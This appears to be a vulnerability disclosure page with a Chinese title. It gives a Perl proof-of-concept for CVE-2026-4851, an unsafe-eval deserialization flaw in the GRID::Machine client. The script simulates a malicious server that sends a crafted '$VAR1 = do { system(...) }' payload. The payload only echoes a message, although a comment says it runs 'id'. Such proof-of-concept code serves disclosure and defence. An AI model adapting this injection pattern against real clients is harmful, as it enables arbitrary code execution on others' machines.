CVE-2026-4851 GRID::Machine 任意代码执行漏洞

#!/usr/bin/perl # PoC for CVE-2026-4851 # This script simulates a malicious remote server response # that exploits the unsafe deserialization in GRID::Machine client. use strict; use warnings; # The GRID::Machine client expects a data structure. # Vulnerable code in client: $arg .= '$VAR1'; my $val = eval "no strict; $arg"; # Craft a payload that executes 'id' command on the client. # The payload is formatted to look like a valid Dumper response. my $malicious_payload = '$VAR1 = do { system("echo \'[+] CVE-2026-4851 Exploited on Client\'"); };'; # Simulate sending this payload to the client via the protocol pipe print "[Malicious Server] Sending payload to client...\n"; print $malicious_payload . "\n"; # Explanation: # When the client receives this string, it appends '$VAR1' (which is redundant here but harmless) # and executes it via eval. # Result: The client machine executes the 'echo' command.